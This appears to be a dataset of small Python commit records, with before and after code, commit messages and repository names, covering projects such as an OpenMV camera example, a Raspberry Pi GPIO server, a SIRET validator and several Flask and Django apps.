# "License"); you may... | <commit_before># Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "Lic... | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | <commit_before># Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "Lic... |
fddefb670bb3df3472c43d0298fecefcf1b02234 | scripts/examples/Arduino/Portenta-H7/02-Board-Control/vsync_gpio_output.py | scripts/examples/Arduino/Portenta-H7/02-Board-Control/vsync_gpio_output.py | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sens... | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sens... | Fix VSYNC GPIO LED pin name. | scripts/examples: Fix VSYNC GPIO LED pin name.
| Python | mit | kwagyeman/openmv,kwagyeman/openmv,openmv/openmv,openmv/openmv,openmv/openmv,kwagyeman/openmv,kwagyeman/openmv,openmv/openmv | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sens... | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sens... | <commit_before># VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set... | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sens... | # VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set_framesize(sens... | <commit_before># VSYNC GPIO output example.
#
# This example shows how to toggle a pin on VSYNC interrupt.
import sensor, image, time
from pyb import Pin
sensor.reset() # Reset and initialize the sensor.
sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to RGB565 (or GRAYSCALE)
sensor.set... |
3966d9e77455f36a159d960242849e59ac323c0a | ed2d/physics/physengine.py | ed2d/physics/physengine.py | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree... | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree... | Change multi line string to be regular comment. | Change multi line string to be regular comment.
| Python | bsd-2-clause | explosiveduck/ed2d,explosiveduck/ed2d | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree... | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree... | <commit_before>from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
... | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree... | from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
self.quadTree... | <commit_before>from ed2d.physics import rectangle
from ed2d.physics import quadtree
class PhysEngine(object):
def __init__(self):
# I would love to have width and height as global constants
self.quadTree = quadtree.QuadTree(0, rectangle.Rectangle(0.0, 0.0, width=800, height=600, flag='QT'))
... |
7fad37d5a1121fe87db8946645043cd31a78b093 | pi_gpio/events.py | pi_gpio/events.py | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
... | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
... | Set the default bouncetime value to -666 | Set the default bouncetime value to -666
Set the default bouncetime to -666 (the default value -666 is in Rpi.GPIO source code).
As-Is: if the bouncetime is not set, your setting for event detecting is silently down. And there is no notification that bouncetime is required. | Python | mit | projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
... | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
... | <commit_before>from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FAL... | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
... | from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FALLING,
... | <commit_before>from pi_gpio import socketio
from config.pins import PinManager
class PinEventManager(PinManager):
def __init__(self):
super(PinEventManager, self).__init__()
self.socketio = socketio
self.edge = {
'RISING': self.gpio.RISING,
'FALLING': self.gpio.FAL... |
61241b16d3bcef221ab07efe8e12d7ec7c2b6e64 | labonneboite/common/siret.py | labonneboite/common/siret.py |
def is_siret(siret):
# A valid SIRET is composed by 14 digits
try:
int(siret)
except ValueError:
return False
return len(siret) == 14
|
def is_siret(siret):
# A valid SIRET is composed by 14 digits
return len(siret) == 14 and siret.isdigit()
| Use isdigit() instead of int() | Use isdigit() instead of int()
| Python | agpl-3.0 | StartupsPoleEmploi/labonneboite,StartupsPoleEmploi/labonneboite,StartupsPoleEmploi/labonneboite,StartupsPoleEmploi/labonneboite |
def is_siret(siret):
# A valid SIRET is composed by 14 digits
try:
int(siret)
except ValueError:
return False
return len(siret) == 14
Use isdigit() instead of int() |
def is_siret(siret):
# A valid SIRET is composed by 14 digits
return len(siret) == 14 and siret.isdigit()
| <commit_before>
def is_siret(siret):
# A valid SIRET is composed by 14 digits
try:
int(siret)
except ValueError:
return False
return len(siret) == 14
<commit_msg>Use isdigit() instead of int()<commit_after> |
def is_siret(siret):
# A valid SIRET is composed by 14 digits
return len(siret) == 14 and siret.isdigit()
|
def is_siret(siret):
# A valid SIRET is composed by 14 digits
try:
int(siret)
except ValueError:
return False
return len(siret) == 14
Use isdigit() instead of int()
def is_siret(siret):
# A valid SIRET is composed by 14 digits
return len(siret) == 14 and siret.isdigit()
| <commit_before>
def is_siret(siret):
# A valid SIRET is composed by 14 digits
try:
int(siret)
except ValueError:
return False
return len(siret) == 14
<commit_msg>Use isdigit() instead of int()<commit_after>
def is_siret(siret):
# A valid SIRET is composed by 14 digits
return len... |
d901683430c8861b88b577965201bb7acf17e7f8 | print_version.py | print_version.py | """
Get the version string from versioneer and print it to stdout
"""
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'master':
# Whe... | """
Get the version string from versioneer and print it to stdout
"""
import sys
import os
# Make sure versioneer is imported from here
here = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, here)
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'versi... | Make sure versioneer is imported from here | Make sure versioneer is imported from here
| Python | bsd-3-clause | leouieda/tesseroids,leouieda/tesseroids,leouieda/tesseroids | """
Get the version string from versioneer and print it to stdout
"""
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'master':
# Whe... | """
Get the version string from versioneer and print it to stdout
"""
import sys
import os
# Make sure versioneer is imported from here
here = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, here)
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'versi... | <commit_before>"""
Get the version string from versioneer and print it to stdout
"""
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'mas... | """
Get the version string from versioneer and print it to stdout
"""
import sys
import os
# Make sure versioneer is imported from here
here = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, here)
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'versi... | """
Get the version string from versioneer and print it to stdout
"""
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'master':
# Whe... | <commit_before>"""
Get the version string from versioneer and print it to stdout
"""
import versioneer
versioneer.VCS = 'git'
versioneer.tag_prefix = 'v'
versioneer.versionfile_source = 'version.py' # This line is useless
versioneer.parentdir_prefix = 'tesseroids-'
version = versioneer.get_version()
if version == 'mas... |
9fededb99a02ee38cba9b02e511b1db071f37fc4 | pygout/format.py | pygout/format.py | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__nam... | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__nam... | Fix stupid oops in Format interface | Fix stupid oops in Format interface
| Python | bsd-3-clause | alanbriolat/PygOut | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__nam... | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__nam... | <commit_before>from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
r... | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__nam... | from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
return cls.__nam... | <commit_before>from straight.plugin import load as plugin_load
class Format(object):
@classmethod
def name(cls):
"""Get the format's name.
An format's canonical name is the lowercase name of the class
implementing it.
>>> Format().name()
'format'
"""
r... |
6ca530abba63376dab254d649ab568895917bfbd | tests/example.py | tests/example.py | import unittest
class ExampleTest(unittest.TestCase):
def test_xample(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
| import unittest
class ExampleTest(unittest.TestCase):
def test_example(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
| Fix typo in method name | Fix typo in method name | Python | mit | pawel-lewtak/coding-dojo-template-python | import unittest
class ExampleTest(unittest.TestCase):
def test_xample(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
Fix typo in method name | import unittest
class ExampleTest(unittest.TestCase):
def test_example(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
| <commit_before>import unittest
class ExampleTest(unittest.TestCase):
def test_xample(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
<commit_msg>Fix typo in method name<commit_after> | import unittest
class ExampleTest(unittest.TestCase):
def test_example(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
| import unittest
class ExampleTest(unittest.TestCase):
def test_xample(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
Fix typo in method nameimport unittest
class ExampleTest(unittest.TestCase):
def test_example(self):
self.assertEqual(1, 1)
if __name__ == '__m... | <commit_before>import unittest
class ExampleTest(unittest.TestCase):
def test_xample(self):
self.assertEqual(1, 1)
if __name__ == '__main__':
unittest.main()
<commit_msg>Fix typo in method name<commit_after>import unittest
class ExampleTest(unittest.TestCase):
def test_example(self):
se... |
8034684b9c1c798b9f825111df53415a1a3ff9eb | pymogilefs/connection.py | pymogilefs/connection.py | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.... | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.... | Break after receiving no bytes to prevent hanging | Break after receiving no bytes to prevent hanging
| Python | mit | bwind/pymogilefs,bwind/pymogilefs | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.... | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.... | <commit_before>from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.A... | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.... | from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.AF_INET, socket.... | <commit_before>from pymogilefs.response import Response
from pymogilefs.request import Request
import socket
BUFSIZE = 4096
TIMEOUT = 10
class Connection:
def __init__(self, host, port):
self._host = host
self._port = int(port)
def _connect(self):
self._sock = socket.socket(socket.A... |
5ae19a951081603d0132e786de041d670203327b | api/models.py | api/models.py | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Mod... | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Mod... | Change choice_id field to choice | Change choice_id field to choice
| Python | mit | holycattle/pysqueak-api,holycattle/pysqueak-api | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Mod... | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Mod... | <commit_before>from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class An... | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Mod... | from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class Answer(models.Mod... | <commit_before>from django.db import models
from rest_framework import serializers
class Choice(models.Model):
text = models.CharField(max_length=255)
version = models.CharField(max_length=4)
created_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
class An... |
7a9d3373fb2e11cad694aa1c65901d6cd57beb7c | tests/test_numba_parallel_issues.py | tests/test_numba_parallel_issues.py |
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one of the scaling... |
import sys
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
# Parallel not supported on 32-bit Windows
parallel = not (sys.platform == 'win32')
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integ... | Add guard for parallel kwarg on 32-bit Windows | Add guard for parallel kwarg on 32-bit Windows
| Python | mit | fastats/fastats,dwillmer/fastats |
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one of the scaling... |
import sys
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
# Parallel not supported on 32-bit Windows
parallel = not (sys.platform == 'win32')
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integ... | <commit_before>
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one... |
import sys
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
# Parallel not supported on 32-bit Windows
parallel = not (sys.platform == 'win32')
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integ... |
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one of the scaling... | <commit_before>
from hypothesis import given
from hypothesis.strategies import integers
from numba import jit
import numpy as np
@jit(nopython=True, parallel=True)
def get(n):
return np.ones((n,1), dtype=np.float64)
@given(integers(min_value=10, max_value=100000))
def test_all_ones(x):
"""
We found one... |
810e3516e5f466a145d649edbb00fc3ade1a7a68 | services/disqus.py | services/disqus.py | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provide... | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provide... | Rewrite Disqus to use the new scope selection system | Rewrite Disqus to use the new scope selection system
| Python | bsd-3-clause | foauth/foauth.org,foauth/foauth.org,foauth/oauth-proxy,foauth/foauth.org | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provide... | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provide... | <commit_before>from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info ab... | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provide... | from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info about the provide... | <commit_before>from oauthlib.oauth2.draft25 import utils
import foauth.providers
def token_uri(service, token, r):
params = [((u'access_token', token)), ((u'api_key', service.client_id))]
r.url = utils.add_params_to_uri(r.url, params)
return r
class Disqus(foauth.providers.OAuth2):
# General info ab... |
8d9c973ed4091e8f0a08c4e5a62f8fe5d35f005a | attributes/history/main.py | attributes/history/main.py | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_... | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_... | Use >= minimumDurationInMonths instead of > | Use >= minimumDurationInMonths instead of >
| Python | apache-2.0 | RepoReapers/reaper,RepoReapers/reaper,RepoReapers/reaper,RepoReapers/reaper | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_... | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_... | <commit_before>import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WH... | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_... | import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WHERE pc.project_... | <commit_before>import sys
from dateutil import relativedelta
def run(project_id, repo_path, cursor, **options):
cursor.execute(
'''
SELECT COUNT(c.id), MIN(c.created_at), MAX(c.created_at)
FROM commits c
JOIN project_commits pc ON pc.commit_id = c.id
WH... |
4f9ea66c9e35dd1480986aff75997cd42c5e10f3 | app.py | app.py | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
fi... | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
fi... | Include file extension in returned filename | Include file extension in returned filename
| Python | mit | citruspi/Alexandria,citruspi/Alexandria | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
fi... | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
fi... | <commit_before>from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POS... | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
fi... | from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POST':
fi... | <commit_before>from flask import Flask, render_template, request, jsonify
import os
app = Flask(__name__)
app.config.from_object('config.Debug')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
elif request.method == 'POS... |
cc392b38791e465acb579a7e2f4f9b2f32c70c42 | app.py | app.py | from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
| from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
def parse_reflog():
pass
if __name__ == "__main__":
app.run()
| Add template for parse_reflog function | Add template for parse_reflog function
| Python | bsd-3-clause | kdheepak89/c3.py,kdheepak89/c3.py | from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
Add template for parse_reflog function | from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
def parse_reflog():
pass
if __name__ == "__main__":
app.run()
| <commit_before>from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
<commit_msg>Add template for parse_reflog function<commit_after> | from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
def parse_reflog():
pass
if __name__ == "__main__":
app.run()
| from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
Add template for parse_reflog functionfrom flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
def parse_reflog():
pass
if __name__ == ... | <commit_before>from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
<commit_msg>Add template for parse_reflog function<commit_after>from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
def ... |
